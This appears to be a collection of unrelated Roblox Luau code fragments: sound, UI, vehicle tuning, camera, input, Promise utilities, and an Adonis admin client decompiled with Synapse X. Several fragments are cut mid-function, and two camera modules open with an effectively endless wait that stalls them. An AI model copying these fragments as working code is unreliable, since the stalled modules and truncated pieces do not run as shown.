local v20, v21 = pcall(function() if not u1 then u1 = 1; end; local v22 = nil; if p3 ~= nil then if p3:IsA("Attachment") then v22 = p3.WorldPosition; else v22 = p3.Position; end; end; pcall(function() if u2 then u3.RollOffMaxDistance = u2; if not (u2 < 50) then return; end; else u2 = u3.RollOffMaxDistance; return; end; u3.RollOffMinDistance = 2; end); if p3 and u3 and v22 and (v1.cam.CFrame.p - v22).Magnitude < math.clamp(u2, 0, 500) then u3 = u3:Clone(); u3.Parent = p3; if p4 and p4 == true then local l__Magnitude__23 = (v1.cam.CFrame.p - v22).Magnitude; if l__Magnitude__23 > 5 then local v24 = RaycastParams.new(); v24.CollisionGroup = "NoPlayer"; v24.FilterDescendantsInstances = { p3, v1.char }; local v25 = workspace:Raycast(v1.cam.CFrame.p, (v22 - v1.cam.CFrame.p).unit * l__Magnitude__23, v24); if v25 then local l__Position__26 = v25.Position; if l__Position__26 and (l__Position__26 - v1.cam.CFrame.p).Magnitude < l__Magnitude__23 - 4 then local v27 = l__Magnitude__23 + math.abs(l__Position__26.Y - v1.cam.CFrame.p.y) * 3; local v28 = Instance.new("EqualizerSoundEffect"); v28.HighGain = -l__Magnitude__23 * 0.25 / u1; v28.MidGain = -l__Magnitude__23 * 0.125 / u1; v28.LowGain = -l__Magnitude__23 * 0.025 / u1; v28.Parent = u3; end; end; end; end; u3.Pitch = u3.Pitch + math.random(-100, 100) / 4000; u3:Play(); game.Debris:AddItem(u3, u3.TimeLength * u3.Pitch + 2); return; end; if u3 and p3 then return; end; if u3 then u3 = u3:Clone(); u3.Parent = v1.char; u3.Pitch = u3.Pitch + math.random(-100, 100) / 4000; u3:Play(); game.Debris:AddItem(u3, u3.TimeLength * u3.Pitch + 2); end; end); if v21 then warn(v21); end; end; v1.update(); task.spawn(function() for v29 = 1, 30 do v1.update(); wait(0.1); end; end); function v1.titlelocation(p1) coroutine.wrap(function() local v6 = script.Parent.Parent.MainFrame.Intro:Clone(); if script.Parent.Parent.MainFrame:FindFirstChild("LiveIntro") then script.Parent.Parent.MainFrame:FindFirstChild("LiveIntro"):Destroy(); end; local v7 = game:GetService("ReplicatedStorage").Sounds:FindFirstChild("LA_" .. p1); if v7 then v7:Play(); end; v6.Name = "LiveIntro"; v6.Visible = true; v6.Text = p1; v6.Parent = script.Parent.Parent.MainFrame; game:GetService("TweenService"):Create(v6, TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { TextTransparency = 0, TextStrokeTransparency = 1 }):Play(); game:GetService("TweenService"):Create(v6.Underline, TweenInfo.new(3, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), { Size = UDim2.new(0.5, 0, 0, 6) }):Play(); wait(1); game:GetService("TweenService"):Create(v6, TweenInfo.new(7, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), { BackgroundTransparency = 1, TextTransparency = 1, TextStrokeTransparency = 2 }):Play(); game:GetService("TweenService"):Create(v6.Underline, TweenInfo.new(7, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), { Size = UDim2.new(0.25, 0, 0, 6), ImageTransparency = 1 }):Play(); game.Debris:AddItem(v6, 10); end)(); end; local u3 = {}; local u4 = 0; function v1.remind(p2, p3) coroutine.wrap(function() if table.find(u3, p2) ~= nil then return; end; table.insert(u3, p2); if u4 >= 1 then u4 = u4 + 1; wait((u4 - 1) * 6); end; u4 = u4 + 1; local v8 = script.Parent.Parent.MainFrame.Tip:Clone(); if p3 == true then v8 = script.Parent.Parent.MainFrame.Warning:Clone(); end; v8.Name = "LiveTip"; v8.Visible = true; v8.Text = p2; v8.Parent = script.Parent.Parent.MainFrame; game:GetService("TweenService"):Create(v8, TweenInfo.new(0.8, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Position = UDim2.new(0.5, 0, 0.9, 0) }):Play(); game:GetService("TweenService"):Create(v8.Glow, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 0, true), { Size = UDim2.new(2, 0, 10, 0), ImageTransparency = 0 }):Play(); wait(6); game:GetService("TweenService"):Create(v8, TweenInfo.new(1.2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { TextTransparency = 1, TextStrokeTransparency = 1 }):Play(); game.Debris:AddItem(v8, 10); u4 = u4 - 1; end)(); end; function v1.caption(p4, p5, p6) local u5 = p6; coroutine.wrap(function() local v9 = script.Parent.Parent.MainFrame.Caption:Clone(); if script.Parent.Parent:FindFirstChild("LiveCaption") then script.Parent.Parent:FindFirstChild("LiveCaption"):Destroy(); end; if p5 == true then v9 = script.Parent.Parent.MainFrame.Caption:Clone(); end; v9.Name = "LiveCaption"; v9.Visible = true; v9.Text = p4; v9.Parent = script.Parent.Parent; if not u5 then u5 = 7; end; game:GetService("TweenService"):Create(v9, TweenInfo.new(u5, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), { BackgroundTransparency = 1, TextTransparency = 1, TextStrokeTransparency = 2 }):Play(); game:GetService("TweenService"):Create(v9, TweenInfo.new(1.5, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), { BackgroundColor3 = Color3.new(0, 0, 0) }):Play(); script.Caption:Play(); game.Debris:AddItem(v9, 10); end)(); end; return v1;
-- Returns the ancestor that contains a Humanoid, if it exists
local function FindCharacterAncestor(subject) if subject and subject ~= workspace then local humanoid = subject:FindFirstChildOfClass('Humanoid') if humanoid then return subject, humanoid else return FindCharacterAncestor(subject.Parent) end end return nil end local function IsInTable(Table,Value) for _,v in pairs(Table) do if v == Value then return true end end return false end
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , --[[ 7 ]] 0.53 , --[[ 8 ]] 0.36 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; cPcall = nil; Pcall = nil; Routine = nil; GetEnv = nil; origEnv = nil; logError = nil; log = nil; return function() local u1 = nil; local l__client__2 = client; local u3 = nil; local u4 = nil; local u5 = nil; local u6 = nil; local u7 = nil; local u8 = nil; local l__service__9 = service; getfenv().client = nil; getfenv().service = nil; getfenv().script = nil; local v1 = { Init = function() u1 = l__client__2.UI; u3 = l__client__2.Anti; u4 = l__client__2.Core; u5 = l__client__2.Variables; u6 = l__client__2.Functions; u7 = l__client__2.Process; u8 = l__client__2.Remote; u7.Init = nil; end, RunLast = function() u7.RunLast = nil; end, RunAfterLoaded = function(p1) l__service__9.Player.Chatted:Connect(l__service__9.EventTask("Event: ProcessChat", u7.Chat)); l__service__9.Player.CharacterRemoving:Connect(l__service__9.EventTask("Event: CharacterRemoving", u7.CharacterRemoving)); l__service__9.Player.CharacterAdded:Connect(l__service__9.Threads.NewEventTask("Event: CharacterAdded", u7.CharacterAdded)); l__service__9.LogService.MessageOut:Connect(u7.LogService); l__service__9.ScriptContext.Error:Connect(u7.ErrorMessage); u7.RateLimits = u8.Get("RateLimits") or u7.RateLimits; u7.RunAfterLoaded = nil; end, RateLimits = { Remote = 0.02, Command = 0.1, Chat = 0.1, RateLog = 10 } }; local l__type__10 = type; local l__unpack__11 = unpack; function v1.Remote(p2, p3, ...) local v2 = { ... }; u8.Received = u8.Received + 1; if l__type__10(p3) == "string" then if p3 == l__client__2.DepsName .. "GIVE_KEY" then if not u4.Key then log("~! Set remote key"); u4.Key = v2[1]; log("~! Call Finish_Loading()"); l__client__2.Finish_Loading(); return; end; else if u8.UnEncrypted[p3] then return { u8.UnEncrypted[p3](...) }; end; if u4.Key then local v3 = u8.Decrypt(p3, u4.Key); local v4 = p2.Mode == "Get" and u8.Returnables[v3] or u8.Commands[v3]; if v4 then local v5 = { l__service__9.TrackTask("Remote: " .. v3, v4, v2) }; if not v5[1] then logError(v5[2]); return; else return { l__unpack__11(v5, 2) }; end; end; end; end; end; end; function v1.LogService(p4, p5) end; local l__string__12 = string; local l__script__13 = script; local l__tostring__14 = tostring; function v1.ErrorMessage(p6, p7, p8) if p6 and p6 ~= "nil" and p6 ~= "" and (not (not l__string__12.find(p6, ":: Adonis ::")) or not (not l__string__12.find(p6, l__script__13.Name)) or p8 == l__script__13) then logError(l__tostring__14(p6) .. " - " .. l__tostring__14(p7)); end; if (p8 == nil or not p7 or p7 == "") and p7 and not l__string__12.find(p7, "CoreGui.RobloxGui") then end; end; function v1.Chat(p9) if not l__service__9.Player or l__service__9.Player.Parent ~= l__service__9.Players then u8.Fire("ProcessChat", p9); end; end; local l__wait__15 = wait; function v1.CharacterAdded(...) l__service__9.Events.CharacterAdded:Fire(...); l__wait__15(); u1.GetHolder(); end; local l__next__16 = next; local l__pcall__17 = pcall; function v1.CharacterRemoving() if u5.UIKeepAlive then for v6, v7 in l__next__16, l__client__2.GUIs do if v7.Class == "ScreenGui" or v7.Class == "GuiMain" or v7.Class == "TextLabel" then if (not v7.Object:IsA("ScreenGui") or v7.Object.ResetOnSpawn) and v7.CanKeepAlive then v7.KeepAlive = true; v7.KeepParent = v7.Object.Parent; v7.Object.Parent = nil; elseif not v7.CanKeepAlive then l__pcall__17(v7.Destroy, v7); end; end; end; end; if u5.GuiViewFolder then u5.GuiViewFolder:Destroy(); u5.GuiViewFolder = nil; end; if u5.ChatEnabled then l__service__9.StarterGui:SetCoreGuiEnabled("Chat", true); end; if u5.PlayerListEnabled then l__service__9.StarterGui:SetCoreGuiEnabled("PlayerList", true); end; local v8 = l__service__9.UserInputService:GetFocusedTextBox(); if v8 then v8:ReleaseFocus(); end; l__service__9.Events.CharacterRemoving:Fire(); end; l__client__2.Process = v1; end;
--[=[ Constructs a new Signal @return Signal ]=]
function Signal.new() local self = setmetatable({ _handlerListHead = false, _proxyHandler = nil, }, Signal) return self end
--[[local iceMesh = Instance.new("SpecialMesh", icePart) iceMesh.Name = "IceMesh" iceMesh.MeshType = "FileMesh" iceMesh.MeshId = "http://www.roblox.com/asset/?id=1290033" iceMesh.Scale = Vector3.new(0.675, 0.675, 0.675)]]
function wait(TimeToWait) if TimeToWait ~= nil then local TotalTime = 0 TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait() while TotalTime < TimeToWait do TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait() end else game:GetService("RunService").Heartbeat:wait() end end local function DisableMove() Humanoid.AutoRotate = false if(Humanoid.WalkSpeed~=0)then StoredValues = {Humanoid.WalkSpeed,Humanoid.JumpPower} Humanoid.WalkSpeed = 0 Humanoid.JumpPower = 0 end Humanoid:UnequipTools() PreventTools = character.ChildAdded:connect(function(Child) wait() if Child:IsA("Tool") and Child.Parent == character then Humanoid:UnequipTools() end end) DisableJump = Humanoid.Changed:connect(function(Property) if Property == "Jump" then Humanoid.Jump = false end end) Humanoid.PlatformStand = true --Humanoid:ChangeState(Enum.HumanoidStateType.Ragdoll) end local function EnableMove() Humanoid.AutoRotate = true Humanoid.WalkSpeed = StoredValues[1] Humanoid.JumpPower = StoredValues[2] for i, v in pairs({DisableJump, PreventTools}) do if v then v:disconnect() end end Humanoid.PlatformStand = false --Humanoid:ChangeState(Enum.HumanoidStateType.GettingUp) end
-- Gamepad -- Stephen Leitnick -- December 23, 2021
local Trove = require(script.Parent.Parent.Trove) local Signal = require(script.Parent.Parent.Signal) local UserInputService = game:GetService("UserInputService") local HapticService = game:GetService("HapticService") local GuiService = game:GetService("GuiService") local RunService = game:GetService("RunService") local function ApplyDeadzone(value: number, threshold: number): number if math.abs(value) < threshold then return 0 end return ((math.abs(value) - threshold) / (1 - threshold)) * math.sign(value) end local function GetActiveGamepad(): Enum.UserInputType? local activeGamepad = nil local navGamepads = UserInputService:GetNavigationGamepads() if #navGamepads > 1 then for _,navGamepad in ipairs(navGamepads) do if activeGamepad == nil or navGamepad.Value < activeGamepad.Value then activeGamepad = navGamepad end end else local connectedGamepads = UserInputService:GetConnectedGamepads() for _,connectedGamepad in ipairs(connectedGamepads) do if activeGamepad == nil or connectedGamepad.Value < activeGamepad.Value then activeGamepad = connectedGamepad end end end if activeGamepad and not UserInputService:GetGamepadConnected(activeGamepad) then activeGamepad = nil end return activeGamepad end local function HeartbeatDelay(duration: number, callback: () -> nil): RBXScriptConnection local start = time() local connection connection = RunService.Heartbeat:Connect(function() local elapsed = time() - start if elapsed >= duration then connection:Disconnect() callback() end end) return connection end
-- Zoom -- Controls the distance between the focus and the camera.
wait(999999999999999999999) local ZOOM_STIFFNESS = 4.5 local ZOOM_DEFAULT = 12.5 local ZOOM_ACCELERATION = 0.0375 local MIN_FOCUS_DIST = 0.5 local DIST_OPAQUE = 1 local Popper = require(script:WaitForChild("Popper")) local clamp = math.clamp local exp = math.exp local min = math.min local max = math.max local pi = math.pi local cameraMinZoomDistance, cameraMaxZoomDistance do local Player = game:GetService("Players").LocalPlayer local function updateBounds() cameraMinZoomDistance = Player.CameraMinZoomDistance cameraMaxZoomDistance = Player.CameraMaxZoomDistance end updateBounds() Player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(updateBounds) Player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(updateBounds) end local ConstrainedSpring = {} do ConstrainedSpring.__index = ConstrainedSpring function ConstrainedSpring.new(freq, x, minValue, maxValue) x = clamp(x, minValue, maxValue) return setmetatable({ freq = freq, -- Undamped frequency (Hz) x = x, -- Current position v = 0, -- Current velocity minValue = minValue, -- Minimum bound maxValue = maxValue, -- Maximum bound goal = x, -- Goal position }, ConstrainedSpring) end function ConstrainedSpring:Step(dt) local freq = self.freq*2*pi -- Convert from Hz to rad/s local x = self.x local v = self.v local minValue = self.minValue local maxValue = self.maxValue local goal = self.goal -- Solve the spring ODE for position and velocity after time t, assuming critical damping: -- 2*f*x'[t] + x''[t] = f^2*(g - x[t]) -- Knowns are x[0] and x'[0]. -- Solve for x[t] and x'[t]. local offset = goal - x local step = freq*dt local decay = exp(-step) local x1 = goal + (v*dt - offset*(step + 1))*decay local v1 = ((offset*freq - v)*step + v)*decay -- Constrain if x1 < minValue then x1 = minValue v1 = 0 elseif x1 > maxValue then x1 = maxValue v1 = 0 end self.x = x1 self.v = v1 return x1 end end local zoomSpring = ConstrainedSpring.new(ZOOM_STIFFNESS, ZOOM_DEFAULT, MIN_FOCUS_DIST, cameraMaxZoomDistance) local function stepTargetZoom(z, dz, zoomMin, zoomMax) z = clamp(z + dz*(1 + z*ZOOM_ACCELERATION), zoomMin, zoomMax) if z < DIST_OPAQUE then z = dz <= 0 and zoomMin or DIST_OPAQUE end return z end local zoomDelta = 0 local Zoom = {} do function Zoom.Update(renderDt, focus, extrapolation) local poppedZoom = math.huge if zoomSpring.goal > DIST_OPAQUE then -- Make a pessimistic estimate of zoom distance for this step without accounting for poppercam local maxPossibleZoom = max( zoomSpring.x, stepTargetZoom(zoomSpring.goal, zoomDelta, cameraMinZoomDistance, cameraMaxZoomDistance) ) -- Run the Popper algorithm on the feasible zoom range, [MIN_FOCUS_DIST, maxPossibleZoom] poppedZoom = Popper( focus*CFrame.new(0, 0, MIN_FOCUS_DIST), maxPossibleZoom - MIN_FOCUS_DIST, extrapolation ) + MIN_FOCUS_DIST end zoomSpring.minValue = MIN_FOCUS_DIST zoomSpring.maxValue = min(cameraMaxZoomDistance, poppedZoom) return zoomSpring:Step(renderDt) end function Zoom.SetZoomParameters(targetZoom, newZoomDelta) zoomSpring.goal = targetZoom zoomDelta = newZoomDelta end end return Zoom
--[=[ Observes a value base underneath a parent (last named child). @param parent Instance @param className string @param name string @return Observable<Brio<any>> ]=]
function RxValueBaseUtils.observeBrio(parent, className, name) return RxInstanceUtils.observeLastNamedChildBrio(parent, className, name) :Pipe({ RxBrioUtils.switchMapBrio(function(valueObject) return RxValueBaseUtils.observeValue(valueObject) end) }) end
--------------------------------------------------------------------
if backfire == true then mouse.KeyDown:connect(function(key) if key == camkey and enabled == false then local children = car.Body.Exhaust:GetChildren() for index, child in pairs(children) do if child.Name == "Backfire1" or child.Name == "Backfire2" then local effect = script.soundeffect:Clone() local effect2 = script.soundeffect:Clone() effect.Name = "soundeffectCop" effect2.Name = "soundeffectCop" effect.Parent = child.Backfire1 effect2.Parent = child.Backfire2 end end elseif key == camkey and enabled == true then local children = car.Body.Exhaust:GetChildren() for index, child in pairs(children) do if child.Name == "Backfire1" or child.Name == "Backfire2" then child.Backfire1.soundeffectCop:Destroy() child.Backfire2.soundeffectCop:Destroy() end end end car.DriveSeat.ChildRemoved:Connect(function(child) if child.Name == "SeatWeld" then local descendants = car.Body.Exhaust:GetDescendants() for index, descendant in pairs(descendants) do if descendant.Name == "soundeffectCop" then descendant:Destroy() end end end end) end) end
-------------------------------------------------------------------------------- -- Popper.lua -- Prevents your camera from clipping through walls. --------------------------------------------------------------------------------
wait(999999999999999999999) local Players = game:GetService("Players") local camera = game.Workspace.CurrentCamera local min = math.min local tan = math.tan local rad = math.rad local inf = math.huge local ray = Ray.new local function getTotalTransparency(part) return 1 - (1 - part.Transparency)*(1 - part.LocalTransparencyModifier) end local function eraseFromEnd(t, toSize) for i = #t, toSize + 1, -1 do t[i] = nil end end local nearPlaneZ, projX, projY do local function updateProjection() local fov = rad(camera.FieldOfView) local view = camera.ViewportSize local ar = view.X/view.Y projY = 2*tan(fov/2) projX = ar*projY end camera:GetPropertyChangedSignal("FieldOfView"):Connect(updateProjection) camera:GetPropertyChangedSignal("ViewportSize"):Connect(updateProjection) updateProjection() nearPlaneZ = camera.NearPlaneZ camera:GetPropertyChangedSignal("NearPlaneZ"):Connect(function() nearPlaneZ = camera.NearPlaneZ end) end local blacklist = {} do local charMap = {} local function refreshIgnoreList() local n = 1 blacklist = {} for _, character in pairs(charMap) do blacklist[n] = character n = n + 1 end end local function playerAdded(player) local function characterAdded(character) charMap[player] = character refreshIgnoreList() end local function characterRemoving() charMap[player] = nil refreshIgnoreList() end player.CharacterAdded:Connect(characterAdded) player.CharacterRemoving:Connect(characterRemoving) if player.Character then characterAdded(player.Character) end end local function playerRemoving(player) charMap[player] = nil refreshIgnoreList() end Players.PlayerAdded:Connect(playerAdded) Players.PlayerRemoving:Connect(playerRemoving) for _, player in ipairs(Players:GetPlayers()) do playerAdded(player) end refreshIgnoreList() end
--[[ A special key for property tables, which stores a reference to the instance in a user-provided Value object. ]]
local Package = script.Parent.Parent local parseError = require(Package.Dependencies).utility.parseError local xtypeof = require(Package.ObjectUtility).xtypeof local Ref = {} Ref.type = "SpecialKey" Ref.kind = "Ref" Ref.stage = "observer" function Ref:apply(refState: any, applyTo: Instance, cleanupTasks: {}) if xtypeof(refState) ~= "State" or refState.kind ~= "Value" then parseError("invalidRefType") else refState:set(applyTo) table.insert(cleanupTasks, function() refState:set(nil) end) end end return Ref
-- setup emote chat hook
game:GetService("Players").LocalPlayer.Chatted:connect(function(msg) local emote = "" if (string.sub(msg, 1, 3) == "/e ") then emote = string.sub(msg, 4) elseif (string.sub(msg, 1, 7) == "/emote ") then emote = string.sub(msg, 8) end if (pose == "Standing" and emoteNames[emote] ~= nil) then playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid) end end)
--[=[ Deep copies a table including metatables @param target table -- Table to deep copy @param _context table? -- Context to deepCopy the value in @return table -- Result ]=]
function Table.deepCopy(target, _context) _context = _context or {} if _context[target] then return _context[target] end if type(target) == "table" then local new = {} _context[target] = new for index, value in pairs(target) do new[Table.deepCopy(index, _context)] = Table.deepCopy(value, _context) end return setmetatable(new, Table.deepCopy(getmetatable(target), _context)) else return target end end
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local Money = require(game.ReplicatedStorage.Source.SystemModules.Money) Money.SellBulkPiece(player) end
--[=[ Set a handler that will be called regardless of the promise's fate. The handler is called when the promise is resolved, rejected, *or* cancelled. Returns a new promise chained from this promise. :::caution If the Promise is cancelled, any Promises chained off of it with `andThen` won't run. Only Promises chained with `finally` or `done` will run in the case of cancellation. ::: ```lua local thing = createSomething() doSomethingWith(thing) :andThen(function() print("It worked!") -- do something.. end) :catch(function() warn("Oh no it failed!") end) :finally(function() -- either way, destroy thing thing:Destroy() end) ``` @param finallyHandler (status: Status) -> ...any @return Promise<...any> ]=]
function Promise.prototype:finally(finallyHandler) assert( finallyHandler == nil or type(finallyHandler) == "function", string.format(ERROR_NON_FUNCTION, "Promise:finally") ) return self:_finally(debug.traceback(nil, 2), finallyHandler) end
-- The amount of WalkSpeed added per level
local speedBoostPerLevel = 3 function GameSettings.upgradeCost(upgrades) return (40 * growthModifier) * growthModifier^upgrades end function GameSettings.movementSpeed(level) return (speedBoostPerLevel * level) + startMoveSpeed end
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName) while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end return parent[childName] end local Tool = script.Parent local Animations = {} local MyHumanoid local MyCharacter local function PlayAnimation(animationName) if Animations[animationName] then Animations[animationName]:Play() end end local function StopAnimation(animationName) if Animations[animationName] then Animations[animationName]:Stop() end end function OnEquipped(mouse) MyCharacter = Tool.Parent MyHumanoid = WaitForChild(MyCharacter, 'Humanoid') if MyHumanoid then Animations['EquipAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'EquipAnim5')) Animations['IdleAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'IdleAnim3')) Animations['OverheadAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'OverheadAnim2')) Animations['SlashAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'SlashAnim2')) Animations['ThrustAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'ThrustAnim2')) Animations['UnequipAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'UnequipAnim2')) end Animations['EquipAnim']:Play(.1,.8,1) PlayAnimation('IdleAnim') end function OnUnequipped() Tool.Handle.deactivate:Play() for animName, _ in pairs(Animations) do StopAnimation(animName) end end Tool.Equipped:connect(OnEquipped) Tool.Unequipped:connect(OnUnequipped) WaitForChild(Tool, 'PlaySlash').Changed:connect( function (value) --if value then PlayAnimation('SlashAnim') --else -- StopAnimation('SlashAnim') --end end) WaitForChild(Tool, 'PlayThrust').Changed:connect( function (value) --if value then PlayAnimation('ThrustAnim') --else -- StopAnimation('ThrustAnim') --end end) WaitForChild(Tool, 'PlayOverhead').Changed:connect( function (value) --if value then Animations['OverheadAnim']:Play() --else -- StopAnimation('OverheadAnim') --end end)
--------------------------
script.Parent.Paused.Changed:connect(function() if script.Parent.Paused.Value == true then for i,v in pairs(script.Parent:GetChildren())do if v:IsA("Sound") then v.Looped = false v:Pause() beep:Play() end end else for i,v in pairs(script.Parent:GetChildren()) do if v:IsA("Sound") then if script.Parent.Stopped.Value ~= true then v:Play() end v.Looped = false end end end end) script.Parent.Stopped.Changed:connect(function() if script.Parent.Stopped.Value == true then script.Parent.Paused.Value = false for i,v in pairs(script.Parent:GetChildren()) do if v:IsA("Sound") then v:Stop() wait() beep:Play() end end end end) script.Parent.Track.Changed:connect(function() if debounce == false then debounce = true local song = songs[script.Parent.Track.Value] script.Parent.TName.Value = song.Name if script.Parent.Stopped.Value ~= true then script.Parent.Stopped.Value = true beep:Play() wait() beep:Play() wait(.5) script.Parent.Play.Value = not script.Parent.Play.Value end debounce = false end end) script.Parent.IdPlay.Changed:connect(function() if script.Parent.IdPlay.Value~="" then script.Parent.Stopped.Value=true sound.SoundId = "http://www.roblox.com/asset/?id="..script.Parent.IdPlay.Value sound.Volume = script.Parent.Volume.Value/10 sound.Pitch = 1 sound.Looped=true script.Parent.TName.Value=game:GetService("MarketplaceService"):GetProductInfo(script.Parent.IdPlay.Value).Name wait() script.Parent.Stopped.Value=false wait() beep:Play() wait(.5) sound:Play() end end) local rgui=script.RadioGui.Draggable.Menu rgui.CanvasSize=UDim2.new(0,0,0,15*#songs) for i,v in pairs(songs) do for b,a in pairs(v:GetChildren()) do content:Preload(a.Id.Value) end local button=Instance.new("TextButton",rgui) button.Name=v.Name button.Size=UDim2.new(1,0,0,15) button.Position=UDim2.new(0,5,0,(i-1)*15) button.BackgroundTransparency=1 button.Text=v.Name button.TextColor3=Color3.new(1,1,1) button.FontSize=Enum.FontSize.Size10 button.TextXAlignment=Enum.TextXAlignment.Left end function play() script.Parent.Stopped.Value = false script.Parent.Paused.Value = false local song = songs[script.Parent.Track.Value] script.Parent.TName.Value = song.Name local playing = {} for i,v in pairs(song:GetChildren()) do sound.Name = v.Name sound.SoundId = v.Id.Value sound.Volume = 0 sound.Pitch = 0 wait(.5) beep:Play() table.insert(playing,sound) end wait() for i,v in pairs(song:GetChildren()) do if script.Parent.Stopped.Value ~= true then local a = playing[i] beep:Play() a:Stop() a.Pitch = v.Pitch.Value a.Volume = script.Parent.Volume.Value/10 local dur = v.Duration.Value a:Play() local t = tick() local run = tick()-t repeat wait(0.001) if script.Parent.Paused.Value == true then t = tick()-run else run = tick()-t end until run >= dur or script.Parent.Stopped.Value == true a:Stop() beep:Play() end end if script.Parent.Stopped.Value ~= true then if script.Parent.Autoplay.Value == true then local n = script.Parent.Track.Value+1 if n > #songs then n = 1 end script.Parent.Track.Value = n else script.Parent.Stopped.Value = true beep:Play() end end end script.Parent.Play.Changed:connect(function() play() end)
------//Low Ready Animations
self.RightLowReady = CFrame.new(-1, 0.85, -1.15) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0)); self.LeftLowReady = CFrame.new(.95,.75,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));
----------------- --| Constants |-- -----------------
local SHOT_SPEED = 100 local SHOT_TIME = 1 local NOZZLE_OFFSET = Vector3.new(0, 0.4, -1.1)
--[[Status Vars]]
local _IsOn = _Tune.AutoStart if _Tune.AutoStart then car.DriveSeat.IsOn.Value=true end local _GSteerT=0 local _GSteerC=0 local _GThrot=0 local _GBrake=0 local _ClutchOn = true local _ClPressing = false local _RPM = 0 local _HP = 0 local _OutTorque = 0 local _CGear = 0 local _PGear = _CGear local _spLimit = 0 local _TMode = _Tune.TransModes[1] local _MSteer = false local _SteerL = false local _SteerR = false local _PBrake = false local _TCS = _Tune.TCSEnabled local _TCSActive = false local _ABS = _Tune.ABSEnabled local _ABSActive = false local FlipWait=tick() local FlipDB=false local _InControls = false
-- Local player
local player = Players.LocalPlayer local character = player.Character or player.CharacterAdded:wait()
----- EXAMPLE CODE -----
local weldList1 = WeldAllToPart(P, P.Handle) -- Weld a model, returns a list of welds. UnanchorWeldList(weldList1) -- Unanchores the list of welds given. script:Destroy() -- Clean up this script.
--script.Parent.MM.Velocity = script.Parent.MM.CFrame.lookVector *script.Parent.Speed.Value --script.Parent.MMM.Velocity = script.Parent.MMM.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.MMMM.Velocity = script.Parent.MMMM.CFrame.lookVector *script.Parent.Speed.Value script.Parent.N.Velocity = script.Parent.N.CFrame.lookVector *script.Parent.Speed.Value
--[=[ @type ServerMiddlewareFn (player: Player, args: {any}) -> (shouldContinue: boolean, ...: any) @within KnitServer For more info, see [ServerComm](https://sleitnick.github.io/RbxUtil/api/ServerComm/) documentation. ]=]
type ServerMiddlewareFn = (player: Player, args: {any}) -> (boolean, ...any)
-- to be placed in StarterPlayer > StarterPlayerScripts
local Players = game:GetService("Players")